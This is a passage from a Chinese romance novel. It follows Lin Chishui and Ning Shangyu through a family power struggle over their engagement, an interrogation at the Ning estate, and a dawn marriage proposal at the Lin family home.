“你这假装睡熟竖着耳朵睁着眼偷听的习惯是从家中就有的?”宁商羽眼神幽深注视着林稚水,视线缓慢描绘着这样一张圣洁无辜的脸,最终从唇角落在那隐约透着点红的耳垂处。 “我算偷听吗?”林稚水不惧他倏地逼近的热息,语气轻飘飘的反问:“我这是光明正大的参与进来旁听自己家的事。” 盛明璎女士从不爱在她面前提及这些,能听到就是本事。随即,她嘴上逞能的下场就是被宁商羽修长有力的手掌倏地笼罩住后脑勺,充满侵略意味的动作,仿佛对格外美好又柔软的东西起了强烈的破坏欲。 下一秒,在黑暗里狠狠地亲了她。 林稚水这张能言善辩的小嘴巴被堵住,随着他逐渐深吻至喉咙的热度,紧接着,连贴着黑丝绒床单的白皙脚尖都后知后觉蜷缩起来。 近乎快无法自主呼吸,心口处还传来一阵酥酥痒痒的感觉时,宁商羽薄唇很轻柔在她面颊碾压了几下,借着暂停的间隙问:“会失望吗?” 四个字清晰落在耳中,林稚水意识忽然清醒了不少,抬起的眼睫颤了颤,瞳孔是一如既往的清澈透亮,甚至衬得她呈现出的状态平静又悲悯至极:“崔岱云吗?有点吧……其实这么多年来,他待姐姐客客气气,待我却注入关怀备至的长辈情感,我知道,是因这双眼。” 话顿一秒,林稚水蹙着个眉心,似乎在琢磨着怎么形容恰当,却说出了一个非常精准又好似不恰当的比喻: “崔岱云把我当成林砚棠留在这个世界上的最后一个稀有遗物,所有人都觉得遗物就该被保护在玻璃展柜里,偶尔呢,又会同情它。” 而林稚水一天天的长大,性格随之越发难以应付,就更不需要这种同情。 她的童年极其讨厌被关在家里。 然后还伴有一群无法释怀林砚棠身死的陌生人来到她面前,看到她抱着海洋书籍绘本和这双琉璃眼后,眼神永远流露出的都是充满怜爱之情。 宁商羽琥珀色的瞳孔注视着她毫无情绪的脸蛋,下意识手掌去触碰。 指腹温热的揉着她眼尾痣,像是想揉碎出点儿情绪出来。 而林稚水重新柔软般贴着他充满安全感的手掌,继而,又轻声往下说:“商羽,我自幼对父亲的情感认知都来自崔岱云这些人和家中书房封存的珍贵书籍遗物上获取的,然后在脑海中自己拼凑出了一个林砚棠出来,他仁慈的性格没有尖锐菱角,接人待物如沐春风,又热爱钻研一些利国利民的慈善事业……” “他不像搞制药的商人,更像是一个慈善家。”林稚水呼吸很湿,随即都洒在宁商羽指间,很轻地叹了口气:“这样的人哪怕被偷窃了林氏最高机密数据,被索要半个身价,他都温和的妥协应下了,真带着筹码登上那艘游轮。” “父亲愿意割舍出这块利益与人和平共处,为什么还要拉他一起葬身海底呢?” 谁也给不出真相。 勒索者已死,最高机密科研医疗数据最终没有被泄露,没有愧对和林家生意往来的合作方们,唯一回不来的只有林砚棠。 林稚水颤巍巍呼吸了下,声音突然冷了起来:“我父亲当时只是想谈判结束后,准时回家陪母亲吃,只是想回家……我不会原谅的,我不会原谅任何一个造成我父亲无法回家的人。” 她将回家二字含在唇齿间咬的很重,林砚棠回不了家,她早产出生后就被困与家中一直一直等,等了好久,等来了宁商羽的天降婚约。 林稚水低语停下,对视上宁商羽,唇角的那点脆弱散开了般,衬得洁白的脸仿佛近乎透明,一碰就会碎了满地,她清晰溢出每个字,喉咙里发涩说:“商羽,再给我点吧。” 再给点吧。 再给一点能量吧…… 宁商羽神色极其沉默,琥珀眼被睫毛的浓密阴影遮盖,直到林稚水难过地笑了起来,忽而又低首,压到她的唇:“医院不必去了,宁濯羽那边已查出点线索,我回一趟宁家老宅,你在这。” 他是要亲自出面!!! 林稚水大脑先意识到这点,唇讶异微张,呼吸进了他的气息,犹如什么被点燃了一样,像火焰温度,从喉咙直烧到了胸口处。 半响,她仰着脸蛋,咫尺距离地望着宁商羽那洞悉一切的幽深眼神,好似刚才那番坦诚且委婉心机的剖开林家这些不为人知秘闻真正意图,他都懂的。 莫名的,林稚水微僵着,唇齿间说不出任何话来,被烧热的心脏又在霎那间仿佛被浸入冷水,恍惚地察觉到了一丝丝难受滋味。 “你要还有力气,替我打个领带。” 下一秒,宁商羽便动作从容不迫地翻身下床,落地窗外的璀璨夜景映出他高大凶悍的身躯,随着衬衫西装穿上,光滑的绸质料子勾勒出了极其锋利的肩背线条。 紧接着,宁商羽回到床边,将领带递给了一动不动地凝视他穿衣过程的林稚水。 林稚水微微压抑的呼吸声暴露了心底真是情绪,可白皙手指,又尽量保持镇定,认认真真地给宁商羽系个非常完美的领带结。 未了,她指尖轻柔地在那领带的暗纹上蜷了蜷,用仰视的目光看着他:“这是我系的……你想要解开,只能来港区找我解。” 林稚水也不知为何,心里本能地想跟他定个约定。 宁商羽的倒影完整落入那清透的瞳仁里,半响后,他薄唇似勾出弧度,又低头,蹭过她额际一下,才低声开口:“去睡觉吧。” 十分钟之后。 太平山顶的私人住处重新归于沉寂下来,宁商羽只带着奚宴离开,把一众随身的精英保镖都留守在了此地。 林稚水软绵绵的趴回在了枕头里,是累倦极了,毕竟今晚体力外加精神上的消耗,已经严重透支了这副身体,等细细梳理了一遍脑海中琢磨的事,才陷入昏睡过去。 泗城地界。 第一缕天光破晓,映亮了宁氏老宅,宁徽诏刚起床不久,坐在了茶厅内的红木高椅上,接过秦熠安亲自沏的茶,眼皮未抬,无形中透出过往的深沉威严。 等润完嗓子,宁徽诏把茶杯不轻不重地递回给他,才问:“说吧,一大早跑我这里来为了何事?” 秦熠安半夜就来了,却不敢污了宁老爷子的眼,银白西装穿的极其挺括有型,头发也梳理好,淡光拢在他周身,雅致深长的眉目很是适宜的浮现出许些忧愁:“老爷子,濯少爷近日在查我。” “查你什么。”宁徽诏和颜悦色问完,又想了半响:“小濯在家中一向听令商羽的吩咐,你私下行事犯到他忌讳了?” 秦熠安姿态语气愈发恭敬道:“前段时间林氏有一个叫崔岱云科研人员出了点事,而林二小姐势必要追查到底,还寻到了晚吟住处闹了一番,这事,秦家也确实是脱不了关系。” 宁徽诏问:“你派人做的?” “不是,老爷子您是知道我为人,崔岱云又是我多年前同校挚友,再怎么我也不可能危及他性命。”秦熠安苦笑着说,“是他跟我秦家之前聘请到公司的科研人员有点私人恩怨,恰好这人以前在林家任职过,两人在海边起了冲突,一时失手……” 宁徽诏眼神锐利地盯着秦熠安,“这种小打小闹的事,也值得你如临大敌?” 秦熠安是不想认,可是崔岱云进了ICU抢救一回还能有命苏醒过来,宁濯羽那边又步步紧逼揪着秦家不放,他的处境变得微妙起来,来惊动老爷子也是无奈之举。 此刻秦熠安咬死了是两家科研人员之间的小恩怨,玉白色的面容叹息着气:“老爷子,林家视我为眼中钉已久,这点小事,架不住宁总为了林二小姐那两滴眼泪降怒于我,哪里还有秦家挣扎喘息的余地。” 宁徽诏苍老的眉头不露声色地皱了皱。 秦熠安观察入微,继而,还想往下说时,却忽地被老管家的脚步声打断:“老爷子,商少爷来了。” 宁徽诏很淡定坐着,若有所思地转动着拇指的玉戒。 而秦熠安神色凝重起来,未料到宁商羽会亲自过来,没等几秒,紧接着,只见一抹线条锋利黑色西装身影波澜不惊地走了进来。 茶厅内的气氛骤变。 明亮的灯光和窗外逐亮的天光衬得宁商羽极清晰,更为醒目的是他额头上烙印着一个小小又鲜红的齿痕。 别说旁人震惊到失神。 哪怕是德高望重的宁徽诏也讶异了秒,意味更深盯着那印子。 宁商羽年少时额头也伤过一次,那是为了救下在宜林岛遭遇持枪绑架的容氏家族继承人容伽礼一命,独自冒着风险,用空头支票的二十亿美金去找刀口子舔血的亡命之徒老大谈判。 怎知,对方记仇,提出要宁商羽先赏自己一根雪茄,才会谈这笔人命关天的生意。 以至于,生性傲慢的宁商羽为救容伽礼,便亲手在自己额间生生烙下了烈火燃烧的雪茄印。 后来这个印子留在了他额头很长时间都未曾消除,仿佛是要记住什么,也成了家族内部人人禁忌提起的话题。 既是禁忌,自然也无人敢去再次冒犯他这个地方。 如今宁商羽很明显是被人咬出了齿痕,连药也没涂,神色傲慢又自若地走到椅子坐下,抬眼,极其轻描淡写地扫了眼秦熠安:“还不跪下么?” 秦熠安原本扬起了无懈可击的笑脸,却因这句,紧绷起了身体:“宁总。” “商羽。”宁徽诏先发话:“他好歹还坐在秦家那把椅子上。” 宁商羽背靠在椅子上,语调平静到有些无情:“坐秦家那把椅子上就能伤我的人?” 言外之意很明显。 是替崔岱云的事问责来了。 “什么时候林氏的科研成员成了兄长名下的人?”这时,另一道漫不经心的嗓音响起,是嫡系二房的宁惟羽步入了进来。 他的样貌没有具有宁氏家族非常锋利傲慢的特征,是独一份儿,犹如山涧初化的春水打磨出来的般,却因爱穿黑色系搭配死神浮雕领带夹,淡漠如薄冰的气场也是过分令人瞩目。 宁惟羽是家族权势斗争失败者之一,曾经离权柄只差一步之遥,却唯独输给了宁商羽。 他时常空闲了就会小住老宅几日,在老爷子膝下尽孝。 到了早餐的时间点,宁惟羽端着木质托盘先是放在茶桌上,先提醒宁徽诏用餐,继而,又态度恭谦似的朝宁商羽颔首。 宁徽诏不急着吃,倒是饶有兴致地重复那句:“惟羽问的没错,那个科研成员什么时候成你的人了?” 宁商羽语气看似平淡,却强势直接反问:“他是林稚水送给我的嫁妆,有问题么?” “……” 什么时候科研人员还能当嫁妆送来送去了,宁徽诏对亲孙子这种有失公允的行径,再度皱起眉头。 宁惟羽笑了:“那兄长该不会也得给她送个聘礼才合适。” “嗯,我把宁濯羽当聘礼送出去了。”宁商羽琥珀眼看向他,眼神意味深长的停顿过去一秒,问道:“你好奇心这么重,想取而代之?” 那股迎面而来的慑人压迫感太明显,宁惟羽识趣保持沉默。 气氛也瞬时几分微妙。 毕竟宁商羽态度傲慢强势到是维护定了林家,一直僵硬在原地的秦熠安也随之成为众人视线的集中地。 宁商羽不近人情要他跪,显然是讽刺秦家的腰椎断了,将来不仅仅会排在林家之后,还会排位在其他依附宁氏的家族末尾。 就为了林稚水。 秦熠安犹如一只危险丛林生存驯化的精明狐狸速分析出对自己有利的局势,他膝盖被宁商羽打断了也不能自己往下跪,继而,看向了宁徽诏:“老爷子,如果宁总想替林二小姐出气,我可以供出那名跟崔岱云起纠纷的科研人员,也可以亲自到林家赔礼道歉……” “商羽啊。” 宁商羽并没有看向宁徽诏,而是淡淡递给奚宴一个眼神,后者立刻说:“老爷子,崔岱云已经被带到老宅,既然秦董事长想致歉,依您看?” 都把人从病床上拖下来了,还有的选么?! 秦熠安压在心底深处的隐忧瞬间直冲天灵感,瞬间冷汗唰一下就从额际滚落下来,他突然反常,显然不敢跟崔岱云对持上。 在场的,但凡是宁氏家族之人基因里刻着敏锐,深谙如何压制对手,都不是佯装出负荆请罪姿态就随便能应付过去的。 明眼人都看得出。 秦熠安推出的自家那位科研人员只是替罪羔羊而已,老爷子表面上不揭穿,是给他体面,念在当年贡献数据的功劳上,默许保下他一次。 至于到底,他下手残害崔岱云的意图是什么。 宁商羽面无表情,屈尊降贵地亲自来老宅审问,自然不是为了崔岱云讨要个公道,而是为林家…… 宁惟羽这时不太赞成秦熠安一把狐狸老骨头了还强撑着,虽端着事不关己的淡漠姿态,却劝道:“秦叔,你为宁家效劳多年,应该很清楚我兄长脾性,你不说,崔岱云如果口风也紧,恐怕都无法笑着走出老宅。” 他话顿,意味深长地说:“不如把一些陈年旧事当个故事说出来,为老爷子解个闷。” 是劝他低头,也是试探。 秦熠安何尝不知道,要是普普通通的一个恩怨就当是给宁徽诏解闷了,兴许还能在宁氏做主之下,化干戈为玉帛…… 事实虽如此,却不能说。 宁商羽已经没有耐心同他周旋下去,冷漠道:“奚宴。” 奚宴迅速领会他的指令,下秒,看似气氛平和的茶厅内现身几名保镖,用了十足的力踹向秦熠安的膝盖,甚至能听到几乎骨裂的细微声响,不跪也得跪下。 宁惟羽微微笑了笑,甚至颇有风度地后退两步,让出空间。 有些事,是需要立规矩给人看。 倘若宁商羽一句话不管用,他身为掌权人,在这个家族内部,也无需继续坐这把代表权力的椅子了。 秦熠安脸色骤然变得苍白,连痛都来不及惊呼出,仿佛浑身绷紧失了控,直直撞倒了落地古董大花瓶。 宁商羽冷眼直视,仿佛把他连带旁边的瓷器一起观赏了。 四下寂静,没等秦熠安在剧烈痛苦中几近晕厥过去,奚宴斯文地上前,问道:“秦董,据濯少爷调查出,当年林砚棠登上那艘游轮前,是你出海在暗中保驾护航,他十分信任把性命托付给了你,后来却出了爆炸事故,从此,盛明璎跟你公然翻脸,断绝了两家一切合作的生意密切往来,以及断了林曦光跟秦晚策自幼定下的娃娃亲。” 宁濯羽充分发挥了被送出去的“聘礼”作用,且一向是办事效率级高,不可能出任何纰漏,不然也混不进家族核心圈。 秦熠安倘若刚撒一个字的谎,另一个膝盖骨也别想要了,他额头冷汗淋漓,沙哑着说:“盛明璎那时已经差不多疯魔了,勒索林家的人已死,而我在海上活了下来,也就成了她仇恨的对象。” “好像有点奇怪呢。”奚宴是人精,犀利地寻找到他身上的可疑破绽:“秦董舍命护友,又遭到盛明璎迁怒,还愿意举家搬离港区避开林家锋芒,但是私底下一门心思去撬林氏科研团队的人才,丝毫不念及旧情。” 秦熠安的言行举止,处处透着矛盾点。 而此刻,就当奚宴要问下一句时,却倏地被老管家进来打断,只见他快步走到闭目沉思的宁徽诏身旁,说:“老爷子,秦晚吟登门求见,说是新型药剂的事有眉目了。” 没有刻意压低音量,在场之人都听得极为清晰。 包括宁商羽。 以及隔岸观火似的宁惟羽。 宁徽诏反应直接:“让她进来。” …… 秦晚吟来得及时,当步入气氛凝重无比的明亮茶厅内时,她却显然不知秦熠安也在宁家,看到父亲昏沉地伏在地板上不动,眼中还流露出几分错愕。 “好孩子。”宁徽诏已经和蔼可亲地朝她招手,“你真研究出了新型药剂?” 秦晚吟先下意识地去看旁边的宁商羽,他此刻看似气场犹如风平浪静,一身黑绸西装位于宽大红木高椅的姿态,莫名地让人心生出如坠深海的极度危险感觉。 然而只有一秒,秦晚吟就矜持地收回视线,轻声回答宁徽诏的问话:“嗯,我找到一位研究了三十年这方面领域的科学家,他手头上有非常全面的抑制性瘾数据成果,只要宁总愿意配合,不出半年药物疗程,就再也不需要依赖抑制剂了。” 她过于笃定,一旁宁惟羽好心提醒:“秦小姐,你实验室被欲望支配的小白鼠们跟我兄长金贵之躯可不能相提并论。” 秦晚吟用来自愿实验的都是美国籍高大威猛的年轻男士,体型各方面都天赋异禀,就为了能配置出最完善的药剂。 她心知,微微屏息着,也坦露出目的:“我比谁都在乎宁商羽的身体。” 秦晚吟转头看向宁商羽,见他那张俊美锋利的面容无动于衷,仿佛不在意事关自身一样。 心痛了瞬,把后半句话,又陡地转而对老爷子说:“您承诺过,我如果能研究出杜绝后患的药剂,就满足我一个愿望,还作数吗?” 宁徽诏抵着玉戒,轻轻转动了会,“自然。” 秦晚吟弯月眼的眸光闪动,随即仿似在倾述毕生的梦想一样,声音很清楚说:“我要嫁给宁商羽,让林稚水回到她港区林家,永远别在踏足这里一步。” 宁徽诏似乎不意外,毕竟这些年她对宁商羽明里暗里的深情,是怎么都掩饰不住。 在气氛逐渐诡异沉默时,宁商羽笑了一下,神色却淡漠至极。 秦晚吟听出了冷冷的讽刺意味,指甲紧张到几乎扎破手心,她说:“我可以让一步,我做名正言顺的合法宁太太,林稚水在外不能有名分,不能出现在宁家,不给宁家生下孩子。” 就从一个美丽的药剂变成男人养在外面笼子里的小宠物,等时间了,那副皮囊也显得无趣了…… 秦晚吟坚信,她会让宁家上上下下,包括宁商羽都看到她真正价值。 现在只想不惜代价地让羞辱过自己的林稚水滚出局,近乎疯魔般地想。 宁徽诏问:“孩子啊,你只有一个愿望。” 秦晚吟心知重要性:“我知道。” 宁徽诏玉戒慢慢转着,深沉威严响切在厅内:“如果你执意要走了林稚水的婚约,宁家无故毁约总是落人口柄的,那只能把你父亲给林家赔礼了。” 秦晚吟惊在原地。 宁徽诏德高望重多年,可不是吓唬她:“婚约和你父亲,只能选一个。” 选一个??? 秦晚吟再怎么故作镇定,也脸色不太好起来。 宁商羽这具精力旺盛的凶悍体魄被生理欲望支配,确实是需要彻底根治,可宁氏并不是能被人胁迫的。 宁徽诏心有对长子的遗憾,才会给秦晚吟去研究机会,倘若她想上位,想坐在那人人羡艳的位子上,可不是只有一张温柔端庄的豪门淑女皮囊就够,心机谋算方面也得完美匹配上。 气氛凝固片刻后。 秦晚吟闭了闭眼,“我选婚约。”弃了秦家。 待重新睁开眼,她心知宁徽诏已经表态,如今更重要的是另一位,对面色冷淡的宁商羽,语气带上了诚恳之意,“请你给我一次机会,这次药剂只是第一件事,我的价值不止于像林稚水一样在床上,我会让你看到。” 第42章 清晨,林稚水醒来。 她裹着暖烘烘的被子躺在大床上,在睡梦中就下意识地空出了一大半位置,睁开眼后,睫毛下恍惚的视线落在那极宽落地窗外,放任脑海中的思绪去追寻天际线另一边……宁商羽的踪迹。 直到手机响起。 林稚水猝不及防地受惊了下,被叮铃声砸着心脏,坐起身想去拿的同时,眉头微蹙,虽然这副身体表面愈发鲜艳的掐痕和淤青看着清晰吓人,但真正异样袭来的,是内部那股又肿又胀的滋味。 昨晚被做狠了,哪怕自我坚强修复了数个小时,也没能完全痊愈。 林稚水忍着腰酸,摸过手机看到是熟悉的号码,便直接按下了接听键。 过几秒,盛明璎冷静的语调更直接:“善善,回家。” 母亲那边没有说明任何缘由,可喊她回家,林稚水自然是要听话的,等挂断,并没有拖延哪怕一秒,去浴室洗漱完换好衣服,便出门了。 等回到老宅,林稚水规规矩矩走进客厅,继而发现平时工作繁忙的盛明璎竟罕见的一副刚起床样子,没精心梳妆打扮,而是简单穿着淡紫花枝的睡袍,薄雾似的丝质裹着纤长柔韧腰身,正坐在餐桌前享用早饭。 她脚步很轻地挪过去,自个儿寻了个能晒着晨曦的椅子坐,想了片刻,说:“妈妈,你叫我回来,是怕我一觉醒来跑医院去找崔岱云问话吗?我……” “善善。”盛明璎平静地打断女儿:“你跟宁家的婚约有变故,秦晚吟在这个节骨眼上研发出了彻底根治性瘾的新型药剂,现在是宁老爷子面前的大功臣,她讨要的赏,是你的婚约。” 林稚水在淡淡金色光芒下依旧澄澈的眼中闪过讶异,虽心知秦家早在十几年前就为这个药剂坚持不懈地做了研究,秦晚吟想继续研发下去借此得到宁家赏识也是意料之内。 却料到会这么快。 短暂地沉默过后,林稚水几不可闻的声音溢出唇:“宁家会答应吗?” “宁家有不答应的理由吗?”盛明璎用权衡算计的商人本性跟林稚水细细分析眼下局势,音色难得温柔,但也残忍:“秦晚吟一直将自己照着大家族的主母标准培养,在外社交礼仪周全,在内管家理财和事业都出类拔萃,秦家又效忠于宁徽诏,她有野心想上位,赢面很大,况且……” “宁商羽生性傲慢又野心勃勃,刻在基因里的性瘾对他这种在权力至上的野心家而言,非常不受掌控,是身上唯一一个致命弱点。善善,你觉得他会对生理欲望俯首,会甘愿这辈子都依赖一支抑制剂?” 秦晚吟之所以赢面很大,是她很清楚宁商羽只会做欲望世界的绝对主宰者,而不是被支配者。而她也颇有心机手段,先前错失过一次能跟宁家联姻机会,便迅速用能力来证明,她是能替现任掌权人分忧。 价值远超于林家这边—— 盛明璎重复道:“他只要接纳一个忠心耿耿的妻子,就不需要依赖抑制剂了。” 林稚水挺直脊背耐心地听完,一个字一个字听进脑海中,继而,漫长的分秒中安安静静地垂下了眼。 盛明璎知道她心思剔透,是能看清局势明显不利于林家,可到手的婚约被人夺走也无可奈何,谁让秦熠安这只披着狐狸皮的豺狼竟培养出了一个更精明心狠的小豺狼出来。 盛明璎眼底滑过浓浓的讽刺冷意,待面对垂头不语的林稚水,又恢复温柔道:“善善,妈妈还有很重要的事要做,如果你不愿待在家中,去江南散散心,我记得你姐夫早两年还邀请过你到楚家玩。” “妈妈,你当时替我婉拒了,说我还小,不适合出远门。”林稚水抬起头,窗口外逐渐升起的日出光晕同她瞳如琉璃的眼睛重叠,竟有点儿微微红:“我不会离开林家,我要等宁商羽来接我。” 盛明璎压低了嗓子:“他不会来的。” “妈妈,我不喜欢听到你这样说。”林稚水骤然站起身,指尖克制着情绪紧紧压在餐桌边缘处,用力到皮肤泛着淡红色,而她比盛明璎预料中更倔,不肯放弃这段婚约:“宁商羽今天就会来接我的。” “善善。” “妈妈你继续用早饭吧。”林稚水声音变闷,想上楼睡会儿回笼觉,等睡醒了,日出变夕阳,宁商羽可能就已经来到港区,或许会晚些,但是他脖子上的领带还得等她解呢。 林稚水隐忍着十分低落情绪往楼梯直直走回主卧,她一离开,宽敞的客厅就显得气氛冷冰冰的。 盛明璎依旧坐在餐桌前,半响后,才拾筷夹了颗鲍鱼细嚼慢咽着,莫名的,鲜美浓郁的味道却激发不出她一点儿食欲。 阿泱等人都嗅到不寻常气氛,一直假意在各个角落忙碌着,不敢冒然过度靠近。 也只有身兼数职的秘书应诗贤上前,轻声低语:“盛董,宁家老爷子那边只给半日期限,现在要回复吗?” 【婚约和秦熠安,只能选一个。】 宁徽诏也将这个选择,公平起见给了林家这边,盛明璎才能消息灵通到知晓秦晚吟拿研发的新药剂数据换取婚约之事。 倘若选了婚约。 秦家父女对研发药剂一事有功劳在身,宁徽诏会亲自庇佑秦熠安和秦晚吟。他虽已让位,却犹如年迈的雄狮坐镇在权力巅峰的老宅,而狮群环伺的宁家势力又盘根错节,光是嫡系旁支的子孙就有一百来个,且都是对权力野心勃勃,想继位当新一任接班人的……更不在少数。 这种家族。 一旦掌权人手中的权力天平有失公允,就会彻底内乱。 所以宁徽诏老谋深算,先前联姻时选家族,已经默许宁商羽选过一次,当是奖赏他获得羽字辈里的最高权力。这次便直接越过他,让林家和秦家自行选择。 盛明璎选女儿的婚约。 从今往后就得放下跟秦家的私人恩怨,两家各自依附宁氏和平共处。选秦熠安,那就舍弃跟宁商羽的联姻,让秦晚吟上位。 作为毁婚的补偿,宁徽诏不会再管秦熠安生死,甚至会助林家一臂之力,等恩怨了结,便互不相欠。 …… 面对应诗贤的请示。 盛明璎久久陷入了一阵沉思,自从林砚棠去世后,她的人生就忙碌了起来,能得到真正喘息休息的时间很少,甚至哪怕夜里闭眼,都无法真正放松睡眠。 林家出美人。 可没有至高无上的权势庇佑,美貌传播出去换来的下场便是一群野心家们不容拒绝的强势侵略。 盛明璎自言自语般的讽笑了起来,像是笑命运作弄孤儿寡母,又像是笑自己能力不足以护住女儿:“当年楚家从我手中要走了瞳瞳,如今宁家要善善,临了想反悔不要了,威逼利诱想让我主动舍弃她婚约……如果如果……”林砚棠还在。 “这或许是好事。”应诗贤安慰道:“至少宁家安然无恙的把小小姐还给您了。” 林稚水在腹中时就难以存活,早产下来后体质无比脆弱到了隔三差五就得病恹恹个几日,哪怕外面空气中一个小小的花粉都能让她呼吸不顺。 盛明璎把她身体养到跟正常人一样健康无恙,可谓是耗尽了心血。 应诗贤这话提醒到了犹豫不决的盛明璎,至少林稚水回家了,比她姐姐好一点,不像林曦光,彻底被留在了江南。 盛明璎拿起洁白餐巾纸擦干净手指,声音已经恢复一如既往的狠辣和冷静,“如果砚棠当年的事真跟秦熠安这条老狗脱不了关系,他必须以生命为代价来还血债。” 应诗贤了然附和:“小小姐只要点时间便会理解您的选择。” …… 林稚水在主卧睡了很久,身子在温暖的被子里紧紧蜷缩着,直到迷迷糊糊地睁开眼,透过暗光,便看到三个仙女教母面含微笑地趴在床沿静静等待着她醒来。 这一幕,像极了年幼时期。 林稚水每日午后苏醒,便会看到她们守护着自己。 见她此刻漆黑瞳仁儿安安静静的,阿瞒先抬起右手,献宝似的摇晃了一下手中的猫咪布偶,料子做工虽精美却年代久远了,鲜艳的颜色已经被洗到有点发白。 阿琴在旁边比划:“这是善善三岁的小玩具。” 阿瞒把猫咪布偶的肚子捏了下,便会发出喵呜一声的可爱声响。 林稚水的注意力瞬间被吸引过去,微微睁大了眼睛。 而这时阿泱比划道:“这是善善第一次接触幼猫,模仿小动物发出的声音。” 林稚水年幼时在家中很爱模仿,还学习能力惊人,她在大人眼里,就是个病弱但不认命的坚强宝宝,对这个世界什么都充满了好奇心。 偶然间一次跟无意中闯入林家花园的幼猫玩耍过后,便学上了幼猫语言,整日喵呜喵呜的。 后来阿瞒把这声音录下来,让阿琴裁缝制作成了布偶逗她开心。 如今这个布偶又重新回到林稚水怀里,一旁阿泱继而充满怜爱地抚摸她柔软的脑袋。 过了好半响,林稚水都在低垂着,白皙指尖摸索到肚子里的按钮,捏一下,喵呜声便响起,好似不厌烦似的,也好似想借此音,来驱散盘旋在心间的乱七八糟声音。 直到林稚水突然顿住动作,抬头,笑容很是清澈:“别担心,我只是好像有点喜欢上宁商羽了。” 阿瞒比划:“他很好。”还很关爱小动物。 “但是妈妈更重要。”林稚水指尖几乎要掐入布偶的肚子里,松开的瞬间,她很轻很轻地说:“我姓林,是林砚棠的林……林砚棠是瞳瞳和妈妈最爱的人,我不能为了自己的喜欢去袖手旁观不管林家之事。” “阿泱阿琴阿瞒,我不会去怪妈妈选择放弃和宁家的婚约,我会很爱很爱她,她有她的难处。” 盛明璎要独自支撑起整个林氏家族已经十分不容易,所以林稚水即便是年幼起就被禁锢了人生自由,也选择了平静接受。 她慢吞吞地把脑袋埋回了枕头,睫毛在白瓷似的脸蛋落下一片阴影。 窗外落日熔金,却反衬着室内愈发黑暗沉静,林稚水重新闭上眼,努力地把胸口一点点堆积着的酸涩情绪靠吸进来的新鲜空气无声地稀释掉,用近乎只有自己才能听得到的声音说:“我只是,我只是第一次喜欢上一个人。” 她依偎着比体温高一点的温暖被子,再度沉沉睡去。 阿泱等人在床边陪了很久很久,等快接近凌晨了才离开卧室,又过小半小时,林稚水缓慢睁开了睫毛,眼底一片清明如水。 她没睡着,轻轻掀开被子,从床上下来了。 林家老宅里外都熄着灯,大家已经正常回房歇息了,唯独林稚水穿着薄雪一样的白缎衣裙,抱着布偶没有惊动任何人,安安静静地走到了外面暗红雕花大门的台阶坐下。 林稚水膝盖合拢地坐下就不动了,干净到犹如糅不进一点儿世俗红尘的身影被月光柔柔洒着,又过了许久,她抬头,凝视着遥远无际的夜空。 明月高悬不落。 降临人间的皎洁光芒,只是将静谧无声的四下环境衬得清亮亮而已。 林稚水睫毛颤了颤,继而,视线又落在被月光浸染得几乎快透明的手指,那一小片的泠光仿佛就在手心滑过,她微微收拢,再次张开时又什么都没有。 宁商羽就像是这抹高悬的冷月光芒,看似触手可得。 可真的想独占时。 却犹如是一场美梦,被夜风轻轻就给骤然吹散了。 林稚水微垂的眼眸掩饰去了情绪,她魂不守舍地独坐到了后半夜,直到那月光薄了起来,夜空也逐渐呈现出浓郁的蓝紫色。 起风了…… 林稚水突然浅浅笑一下,侧脸被几缕乌黑发丝掩去了表情,随即抬指,慢慢地扶着厚重冰冷的门框站起来。 早在凌晨之后,已经不是“今天”了。 宁商羽也不会来接走她的。 林稚水平静地说服自己接受了这个成人世界里充满利益权衡的残忍现实,下一秒,她转身面朝光线漆黑的门内,一步又一步地往真正属于她生存的小世界走去。 第四步时,脚踝处的白缎裙摆倏地被一颗小石子砸中,继而,咕咚咕咚地滚到了边上。 林稚水僵住身子,胸口的心率却缓慢地加快了。 然而就在这瞬间,她被脑海中的猜测完全支配着犹如安静木偶似的肢体,已经迫不及待地转过去朝台阶前方看过去。 紧接着,那清透水光的瞳仁骤然缩紧,看到了宁商羽就站在几阶之下的地方,一袭薄绸高级的锋利西装,衬得修长身形在夜色的雾霭絮绕下显得朦胧又深邃。 像是梦,一场白日陷入进去尚未醒来的美梦。 林稚水突然感到微微颤抖的眼尾酸涩起来,好似被烈火烧了一下,慢慢地,连带眼眶都浸满了那股热意。 她站着不知道怎么走路了。 直到宁商羽从容不迫地先迈上台阶,随着距离拉近,他俊美的面容愈发清晰,不再被夜雾笼罩。 下秒,那掌控着权力天平的修长手指触碰到了林稚水触感冰凉的脸蛋,温柔临摹一样,沿着轮廓漫不经心地滑到了眼尾处,最后揉了揉那红痣:“见到我,你好像很不开心?” 林稚水的眼尾红痣都快被揉哭一样,她直勾勾盯着近在咫尺的宁商羽,没否认也没默认什么,唇间动了动,又把说出每一个字都很轻很轻:“我在晒月光,谁让你突然出现惊扰到我了,宁商羽……我,我恨死你了。” 宁商羽收敛眼底的笑痕,说:“恨我?那我走好不好?” 见他要转身的样子,林稚水一惊,在身体本能驱使下去抓住他衣袖露出的腕骨,指尖用力到了仿佛在说你敢! 她抓住了人就决意不会放,语气很凶控诉:“你来了又走,就是为了讨一句恨吗?” “林稚水。”宁商羽语调变低、变轻缓叫她,并没有摆脱她红润的手指,哪怕这点力气虽像挠痒痒似的,却突然间,非常强势有力的反扣在了手掌心里。 再度对视上林稚水脆弱又茫然的眼眸。 宁商羽俯首而来,俊美锋利的五官倏然更近在咫尺,笑意从琥珀色的眼底逐渐融到了嘴唇,又通过吻,落到了她的心口上。 以及,伴随着宁商羽字字清晰的一句:“我是来跟你结婚的。” …… 林稚水鼻尖先是闻到了熟悉的冷杉气息,紧接着心脏被宁商羽的话紧紧攥住了,她险些身子剧烈地晃动,都堪堪站不稳。 下秒,腰肢顺势被宁商羽手臂紧紧抱了过去。 然而他的吻却是很温柔,像隔着千里迢迢的山水般,流淌到了她唇齿间,将那僵硬的紧绷身体都慢慢放松下来。 只需要一个拥抱和一个吻,林稚水连浮躁了整日的心绪都被安抚好了。 她也抬起手,去环抱他的腰身,下意识将环得紧一些。 片刻后。 随着逐渐浮现在云层的微弱天光模糊了夜限,宁商羽指腹在她唇角摩挲了几下,低语的话,既像是索要,也像是极具压迫感的占有:“愿意么?” “愿意。”林稚水下意识轻轻回应了过去,又静两秒,她轻眨着眼,很认真地说:“结婚这个要经过我妈妈的首肯。” 宁商羽似乎也认可她处于尊重想告知一下身为母亲的盛明璎,不过他却是为了结婚顺利办理流程:“按照港区婚姻法规,确是要经过她……” 林稚水虽已经成年,却还不足二十一周岁。 倘若想在港区地界跟宁商羽合法领证,必须由盛明璎这个法律上的监护人书面同意。 凌晨近五点。 